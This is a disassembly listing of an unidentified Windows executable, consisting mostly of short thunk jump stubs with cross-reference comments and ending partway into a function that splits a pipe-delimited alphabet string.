; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EE2	proc near		; CODE XREF: ___:00416AABp
					; ___:0043A044j ...
		jmp	sub_417BC0
sub_401EE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EE7	proc near		; CODE XREF: sub_40A890+13p
		jmp	loc_40A9D0
sub_401EE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EEC	proc near		; CODE XREF: sub_41B100:loc_41B14Cp
					; sub_41B9F0+54p ...
		jmp	sub_419940
sub_401EEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401EF1	proc near		; CODE XREF: ___:00414335p
		jmp	sub_415510
sub_401EF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401EF6	proc near		; CODE XREF: sub_415750+34p
					; sub_416260+67p
		jmp	sub_416400
sub_401EF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EFB	proc near		; CODE XREF: sub_415370+3p
					; ___:00415AEFp ...
		jmp	sub_415DA0
sub_401EFB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F00	proc near
		jmp	sub_412C80
sub_401F00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F05	proc near		; CODE XREF: sub_413190+4Dp
		jmp	sub_4153F0
sub_401F05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F0A	proc near		; CODE XREF: sub_4070F0+5Cp
					; sub_418F00+3p
		jmp	sub_407310
sub_401F0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F0F	proc near		; CODE XREF: ___:004191A3p
		jmp	sub_419210
sub_401F0F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F14	proc near		; CODE XREF: ___:0040BF9Ap
		jmp	sub_40C2D0
sub_401F14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F19	proc near		; CODE XREF: ___:0042B1EFp
		jmp	sub_42AE40
sub_401F19	endp

; ---------------------------------------------------------------------------


loc_401F1E:				; DATA XREF: ___:off_43E08Co
		jmp	loc_434930
; ---------------------------------------------------------------------------


loc_401F23:				; DATA XREF: ___:00424134o
		jmp	loc_423CB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F28	proc near		; CODE XREF: ___:00416B0Bp
					; ___:00439FF0j ...
		jmp	sub_417AE0
sub_401F28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F2D	proc near		; CODE XREF: sub_413BE0+99p
		jmp	sub_413DB0
sub_401F2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F32	proc near		; CODE XREF: sub_40B410+3Dp
					; ___:0040BBADp ...
		jmp	sub_40B780
sub_401F32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F37	proc near		; CODE XREF: ___:loc_423D47p
		jmp	sub_4237C0
sub_401F37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F3C	proc near		; CODE XREF: sub_404C70+A38p
		jmp	sub_406890
sub_401F3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F41	proc near		; DATA XREF: ___:off_43E1A0o
		jmp	sub_42B3E0
sub_401F41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F46	proc near		; CODE XREF: sub_413A20+72p
		jmp	sub_4136E0
sub_401F46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F4B	proc near		; CODE XREF: sub_4183D0+5Fp
					; sub_4189E0+1Ap ...
		jmp	sub_418A50
sub_401F4B	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F030

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F55	proc near		; CODE XREF: sub_42E490+B5p
		jmp	sub_42D350
sub_401F55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F5A	proc near		; CODE XREF: sub_40B5A0+4Bp
					; sub_40B5A0:loc_40B62Bp ...
		jmp	sub_40BEC0
sub_401F5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F5F	proc near
		jmp	sub_41E4A0
sub_401F5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F64	proc near		; CODE XREF: sub_40A4B0+142p
		jmp	sub_40A890
sub_401F64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F69	proc near		; CODE XREF: sub_404640+35Dp
					; sub_404640+39Ep
		jmp	sub_404B10
sub_401F69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F6E	proc near		; CODE XREF: sub_415E70+9p
					; sub_415F10+18p
		jmp	sub_416770
sub_401F6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F73	proc near		; CODE XREF: sub_431BC0+1Bp
		jmp	sub_431C70
sub_401F73	endp

; ---------------------------------------------------------------------------
		jmp	loc_42B060

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F7D	proc near		; CODE XREF: sub_4264E0+1Dp
					; sub_426A30+1Dp ...
		jmp	sub_426550
sub_401F7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F82	proc near		; CODE XREF: sub_427E50+1Dp
					; sub_4281F0+1Fp ...
		jmp	sub_427EC0
sub_401F82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F87	proc near		; CODE XREF: ___:00429E03p
		jmp	sub_429E30
sub_401F87	endp

; ---------------------------------------------------------------------------
		jmp	loc_406BD0
; ---------------------------------------------------------------------------
		jmp	loc_40D4E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F96	proc near		; CODE XREF: sub_409680+112p
					; sub_409680+153p
		jmp	sub_4099C0
sub_401F96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F9B	proc near		; CODE XREF: sub_4226A0+5p
		jmp	sub_422810
sub_401F9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FA0	proc near		; CODE XREF: sub_407340+5p
		jmp	sub_4074F0
sub_401FA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FA5	proc near		; CODE XREF: sub_4136E0+6Fp
					; sub_4136E0+DBp ...
		jmp	sub_415370
sub_401FA5	endp

; ---------------------------------------------------------------------------
		jmp	loc_42B8C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401FAF	proc near		; CODE XREF: sub_415280+6Ap
					; sub_415C80+32p
		jmp	sub_415BC0
sub_401FAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FB4	proc near
		jmp	sub_40F0A0
sub_401FB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FB9	proc near		; CODE XREF: sub_412B90+3p
		jmp	sub_412BC0
sub_401FB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FBE	proc near		; CODE XREF: sub_404640+48p
					; sub_404640+5Dp ...
		jmp	sub_409DA0
sub_401FBE	endp

; ---------------------------------------------------------------------------
		jmp	loc_4199F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FC8	proc near		; CODE XREF: sub_41A180+3p
					; sub_41B0E0+9j ...
		jmp	sub_41A1B0
sub_401FC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401FCD	proc near		; CODE XREF: sub_40BD30+34p
					; sub_40C1A0+67p
		jmp	sub_40C0C0
sub_401FCD	endp

; ---------------------------------------------------------------------------
		jmp	loc_432720
; ---------------------------------------------------------------------------


loc_401FD7:				; DATA XREF: ___:off_43E094o
		jmp	loc_435310

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FDC	proc near
		jmp	sub_40F120
sub_401FDC	endp

; ---------------------------------------------------------------------------
		jmp	loc_436390
; ---------------------------------------------------------------------------


loc_401FE6:				; DATA XREF: ___:0043E03Co
		jmp	loc_41EE50

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FEB	proc near		; CODE XREF: sub_41F900+5Ap
		jmp	sub_41FFE0
sub_401FEB	endp

; ---------------------------------------------------------------------------
		jmp	loc_430410

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FF5	proc near		; CODE XREF: ___:00416ACBp
					; ___:0043A028j ...
		jmp	sub_417BA0
sub_401FF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401FFA	proc near		; CODE XREF: ___:00416E1Fp
		jmp	sub_413190
sub_401FFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FFF	proc near		; CODE XREF: sub_421B20+5p
		jmp	sub_422020
sub_401FFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402004	proc near		; CODE XREF: ___:004216F4p
		jmp	sub_41C040
sub_402004	endp

; ---------------------------------------------------------------------------
off_402009	dd offset byte_4BC2E9	; DATA XREF: ___:off_43E008o
		align 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40200E	proc near		; CODE XREF: sub_404640+2CEp
					; sub_404C70+46Fp ...
		jmp	sub_40A6F0
sub_40200E	endp

; ---------------------------------------------------------------------------
		jmp	loc_4331B0
; ---------------------------------------------------------------------------
		jmp	sub_41B470

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40201D	proc near		; CODE XREF: sub_422410+Ap
		jmp	sub_4226F0
sub_40201D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402022	proc near		; CODE XREF: sub_404C70+7E7p
		jmp	sub_41B9F0
sub_402022	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402027	proc near		; DATA XREF: ___:off_43E014o
		jmp	sub_40AE60
sub_402027	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40202C	proc near		; DATA XREF: ___:off_43E088o
		jmp	sub_42BEF0
sub_40202C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402031	proc near		; CODE XREF: sub_40AE60+3p
					; ___:0040FF4Ep ...
		jmp	sub_40AE90
sub_402031	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402036	proc near		; CODE XREF: sub_4248C0+109p
					; sub_4248C0+178p ...
		jmp	sub_4247A0
sub_402036	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40203B	proc near		; CODE XREF: sub_409960+7p
		jmp	sub_409A50
sub_40203B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402040	proc near		; CODE XREF: sub_416700+Ap
		jmp	sub_416910
sub_402040	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402045	proc near
		jmp	sub_40CB90
sub_402045	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40204A	proc near		; CODE XREF: ___:0042EF7Bp
					; sub_42FE60+EAp
		jmp	sub_4330C0
sub_40204A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40204F	proc near		; CODE XREF: sub_421A00+5p
					; sub_421AF0+6p ...
		jmp	sub_421F90
sub_40204F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402054	proc near		; CODE XREF: sub_40FFD0+8ADp
					; sub_40FFD0+95Ep ...
		jmp	sub_411A00
sub_402054	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402059	proc near		; CODE XREF: sub_40C0C0+7p
		jmp	sub_40C2B0
sub_402059	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40205E	proc near		; CODE XREF: sub_4189E0+34p
					; sub_418F30+67p
		jmp	sub_418D40
sub_40205E	endp

; ---------------------------------------------------------------------------
		jmp	loc_409B90
; ---------------------------------------------------------------------------


loc_402068:				; DATA XREF: ___:off_43E13Co
		jmp	loc_428050

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40206D	proc near		; CODE XREF: sub_4170C0+2Bp
					; sub_4170C0+3Bp ...
		jmp	sub_403EE0
sub_40206D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402072	proc near		; CODE XREF: sub_409850+14p
		jmp	sub_4098B0
sub_402072	endp

; ---------------------------------------------------------------------------
		jmp	loc_432060

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40207C	proc near		; CODE XREF: sub_427B60:loc_427D6Bp
		jmp	sub_427A80
sub_40207C	endp

; ---------------------------------------------------------------------------
		jmp	sub_4266E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402086	proc near		; CODE XREF: sub_4183D0+4Dp
		jmp	sub_418B10
sub_402086	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40208B	proc near		; CODE XREF: sub_4151D0+5p
					; sub_415390+6p ...
		jmp	sub_415D80
sub_40208B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402090	proc near		; CODE XREF: sub_4266E0+3p
		jmp	sub_426710
sub_402090	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B190
; ---------------------------------------------------------------------------
		jmp	loc_4216C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40209F	proc near		; CODE XREF: ___:00416DEFp
		jmp	sub_407030
sub_40209F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020A4	proc near		; CODE XREF: sub_4136E0+83p
					; sub_414540+91p ...
		jmp	sub_415390
sub_4020A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020A9	proc near		; DATA XREF: ___:0043E054o
		jmp	sub_41EFD0
sub_4020A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020AE	proc near		; CODE XREF: sub_40AA70+144p
		jmp	sub_40AD80
sub_4020AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020B3	proc near		; CODE XREF: sub_42FFE0+BAp
					; sub_432A10+36p
		jmp	sub_432A80
sub_4020B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020B8	proc near		; CODE XREF: sub_421E90+23p
					; sub_4222E0+11p
		jmp	sub_422480
sub_4020B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020BD	proc near		; CODE XREF: sub_422180+4p
		jmp	sub_422590
sub_4020BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020C2	proc near		; CODE XREF: sub_42A8A0+3BBp
		jmp	sub_42A4D0
sub_4020C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020C7	proc near		; CODE XREF: ___:0041A2B2p
		jmp	sub_41A350
sub_4020C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020CC	proc near		; CODE XREF: sub_416800+Ap
		jmp	sub_416960
sub_4020CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020D1	proc near		; DATA XREF: ___:off_43E18Co
		jmp	sub_42B360
sub_4020D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020D6	proc near		; CODE XREF: sub_415D10+4p
		jmp	sub_416530
sub_4020D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020DB	proc near		; CODE XREF: ___:0042F546p
					; ___:0042F5A8p ...
		jmp	sub_433870
sub_4020DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020E0	proc near		; CODE XREF: sub_418DC0+8p
		jmp	sub_419060
sub_4020E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020E5	proc near		; CODE XREF: sub_418930+34p
					; sub_418E20+67p
		jmp	sub_418C40
sub_4020E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020EA	proc near		; CODE XREF: sub_41A770+117p
		jmp	sub_41A900
sub_4020EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020EF	proc near		; CODE XREF: sub_415B40+35p
		jmp	sub_416610
sub_4020EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020F4	proc near		; CODE XREF: sub_404C70+459p
					; sub_4066E0+43p ...
		jmp	sub_409C40
sub_4020F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020F9	proc near		; CODE XREF: sub_40BDA0+5p
					; sub_40BEE0+6p ...
		jmp	sub_40C0E0
sub_4020F9	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F640

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402103	proc near		; CODE XREF: ___:00416F1Ap
		jmp	sub_419150
sub_402103	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402108	proc near		; CODE XREF: ___:00429AC3p
		jmp	sub_429AF0
sub_402108	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40210D	proc near		; CODE XREF: sub_40FFD0+F3Dp
					; sub_40FFD0+1392p ...
		jmp	sub_414840
sub_40210D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402112	proc near		; CODE XREF: sub_413A20+38p
					; sub_413E10+5Fp
		jmp	sub_413580
sub_402112	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402117	proc near		; CODE XREF: sub_40A1B0+14p
					; sub_40A1E0+7p ...
		jmp	sub_40A200
sub_402117	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40211C	proc near		; CODE XREF: sub_42A1E0+157p
		jmp	sub_429D90
sub_40211C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402121	proc near		; CODE XREF: sub_40AC60+1Ap
					; sub_40ACB0+1Ap
		jmp	sub_40AD20
sub_402121	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402126	proc near		; CODE XREF: sub_415690+3p
					; ___:00415EBFp ...
		jmp	sub_4160F0
sub_402126	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40212B	proc near		; DATA XREF: ___:0043E02Co
		jmp	sub_40FFD0
sub_40212B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402130	proc near		; CODE XREF: sub_414840+EDp
		jmp	sub_4158C0
sub_402130	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B430

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40213A	proc near		; CODE XREF: sub_40BEA0+3p
		jmp	sub_40C120
sub_40213A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40213F	proc near		; CODE XREF: sub_40BF40+11p
					; ___:0040BF67p ...
		jmp	sub_40C260
sub_40213F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402144	proc near		; CODE XREF: sub_41E700+2C5p
		jmp	sub_420880
sub_402144	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402149	proc near		; CODE XREF: sub_41D8D0+64Fp
		jmp	sub_41C110
sub_402149	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40214E	proc near		; CODE XREF: sub_418C60+32p
		jmp	sub_418F30
sub_40214E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402153	proc near		; CODE XREF: sub_40ECA0+ACp
					; ___:0040F3CDp
		jmp	sub_40EDE0
sub_402153	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402158	proc near		; CODE XREF: sub_413850+93p
		jmp	sub_433AB0
sub_402158	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40215D	proc near		; CODE XREF: sub_415240+1Fp
					; sub_415B40+2Cp
		jmp	sub_415AA0
sub_40215D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402162	proc near		; CODE XREF: ___:004254ADp
		jmp	sub_425470
sub_402162	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402167	proc near		; CODE XREF: sub_4205D0+17Dp
		jmp	sub_421A70
sub_402167	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40216C	proc near		; CODE XREF: sub_42BEF0+401p
		jmp	sub_42A120
sub_40216C	endp

; ---------------------------------------------------------------------------


loc_402171:				; DATA XREF: ___:off_43E010o
		jmp	loc_409B90

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402176	proc near		; CODE XREF: sub_40AA70+6Ap
					; sub_40AA70+103p
		jmp	sub_40ACB0
sub_402176	endp

; ---------------------------------------------------------------------------
		jmp	loc_4266B0
; ---------------------------------------------------------------------------
		jmp	loc_41ACA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402185	proc near		; CODE XREF: sub_407220+14p
					; sub_407260+9p ...
		jmp	sub_4074C0
sub_402185	endp

; ---------------------------------------------------------------------------
		jmp	loc_416D80

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40218F	proc near		; CODE XREF: sub_40B080+1Bp
		jmp	sub_432B60
sub_40218F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402194	proc near		; CODE XREF: ___:00415AFAp
		jmp	sub_416580
sub_402194	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402199	proc near		; CODE XREF: sub_42F740+ABp
					; sub_430720+1Bp ...
		jmp	sub_430790
sub_402199	endp

; ---------------------------------------------------------------------------
		jmp	loc_42EB20

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021A3	proc near		; CODE XREF: ___:0040871Dp
					; ___:0040873Fp ...
		jmp	sub_419960
sub_4021A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021A8	proc near		; DATA XREF: ___:0043E130o
					; ___:0043E140o ...
		jmp	sub_42C7A0
sub_4021A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021AD	proc near		; CODE XREF: sub_40B5A0+55p
		jmp	sub_40A050
sub_4021AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021B2	proc near		; DATA XREF: ___:off_43E14Co
		jmp	sub_4282B0
sub_4021B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021B7	proc near		; CODE XREF: sub_421B90+34p
					; sub_4224B0+67p
		jmp	sub_4221D0
sub_4021B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021BC	proc near		; CODE XREF: sub_4070F0+2Cp
					; sub_4070F0+68p ...
		jmp	sub_407260
sub_4021BC	endp

; ---------------------------------------------------------------------------
		jmp	loc_433480

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021C6	proc near		; CODE XREF: sub_41C6B0+1B3p
					; sub_41C6B0+332p ...
		jmp	sub_41D710
sub_4021C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021CB	proc near		; CODE XREF: sub_40BCF0+11p
					; sub_40BF40+1Fp
		jmp	sub_40C070
sub_4021CB	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F680

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021D5	proc near		; CODE XREF: sub_424670+1Ap
					; sub_424750+1Bp ...
		jmp	sub_4244A0
sub_4021D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021DA	proc near		; CODE XREF: ___:00416A5Bp
		jmp	sub_4189E0
sub_4021DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021DF	proc near
		jmp	sub_42BC00
sub_4021DF	endp

; ---------------------------------------------------------------------------
		jmp	loc_42ED10
; ---------------------------------------------------------------------------
		jmp	loc_42EEA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021EE	proc near		; CODE XREF: sub_4331F0+1Bp
		jmp	sub_433260
sub_4021EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021F3	proc near		; CODE XREF: sub_42E490+101p
		jmp	sub_42DDE0
sub_4021F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021F8	proc near		; DATA XREF: ___:off_43E00Co
		jmp	sub_4071C0
sub_4021F8	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E360
; ---------------------------------------------------------------------------
		jmp	locret_4188E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402207	proc near		; CODE XREF: sub_4036D0+25p
					; sub_4036D0+35p ...
		jmp	sub_403C90
sub_402207	endp

; ---------------------------------------------------------------------------
		jmp	loc_433190

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402211	proc near		; CODE XREF: sub_4183D0+88p
					; sub_4183D0+98p
		jmp	sub_418B30
sub_402211	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402216	proc near		; CODE XREF: ___:00416B5Bp
					; ___:00439FAAj ...
		jmp	sub_417810
sub_402216	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40221B	proc near		; CODE XREF: sub_418B80+5p
		jmp	sub_418DF0
sub_40221B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402220	proc near		; CODE XREF: sub_4146B0+3p
		jmp	sub_4146E0
sub_402220	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402225	proc near		; CODE XREF: ___:0042F38Bp
					; ___:0042FCB7p ...
		jmp	sub_430B60
sub_402225	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40222A	proc near		; DATA XREF: ___:off_43E11Co
		jmp	sub_427690
sub_40222A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40222F	proc near		; CODE XREF: sub_42F8D0+102p
					; sub_4317C0+5Dp ...
		jmp	sub_4308A0
sub_40222F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402234	proc near		; CODE XREF: sub_413580+5Cp
					; sub_413580+C0p ...
		jmp	sub_4154E0
sub_402234	endp

; ---------------------------------------------------------------------------
		jmp	loc_4314A0
; ---------------------------------------------------------------------------
		jmp	loc_42F200

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402243	proc near		; CODE XREF: sub_41D8D0+203p
		jmp	sub_42D160
sub_402243	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402248	proc near		; CODE XREF: sub_42E490+148p
					; sub_42E490+173p
		jmp	sub_42DD00
sub_402248	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E230

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402252	proc near		; CODE XREF: sub_413440+34p
					; sub_414840+40p
		jmp	sub_415990
sub_402252	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402257	proc near		; CODE XREF: sub_40CC30+1A4p
					; sub_40CFE0+ADp
		jmp	sub_40CFE0
sub_402257	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E2B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402261	proc near		; CODE XREF: sub_422AE0+938p
		jmp	loc_424020
sub_402261	endp

; ---------------------------------------------------------------------------
		jmp	loc_419B30
; ---------------------------------------------------------------------------


loc_40226B:				; CODE XREF: ___:00438D86j
		jmp	loc_40CF60
; ---------------------------------------------------------------------------
		db 1270h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4034E0	proc near		; CODE XREF: sub_4019B5j

var_46C		= dword	ptr -46Ch
var_468		= byte ptr -468h
var_450		= byte ptr -450h
var_438		= byte ptr -438h
var_420		= byte ptr -420h
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_4034E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 460h
		mov	eax, [esp+46Ch+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+478h+var_408], eax
		mov	eax, [esp+478h+arg_8]
		xor	edi, edi
		mov	esi, 1
		cmp	eax, edi
		mov	[esp+478h+var_46C], edi
		jz	short loc_403539
		lea	edx, [esp+478h+arg_8]
		lea	ecx, [esp+478h+var_404]


loc_40352A:				; CODE XREF: sub_4034E0+57j
		add	edx, 4
		mov	[ecx], eax
		inc	esi
		add	ecx, 4
		mov	eax, [edx]
		cmp	eax, edi
		jnz	short loc_40352A


loc_403539:				; CODE XREF: sub_4034E0+3Dj
		lea	ecx, [esp+478h+var_468]
		mov	[esp+esi*4+478h+var_408], edi
		call	sub_401424
		push	offset asc_4435EC ; "|"
		lea	ecx, [esp+47Ch+var_438]
		mov	[esp+47Ch+var_4], 1
		call	sub_401861
		push	offset aABCDEFGHIJKLMN ; "a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t"...
		lea	ecx, [esp+47Ch+var_468]
		mov	byte ptr [esp+47Ch+var_4], 2
		call	sub_401A87
		push	offset byte_446F20
		lea	ecx, [esp+47Ch+var_450]
		call	sub_401861
		mov	byte ptr [esp+478h+var_4], 3
		xor	esi, esi
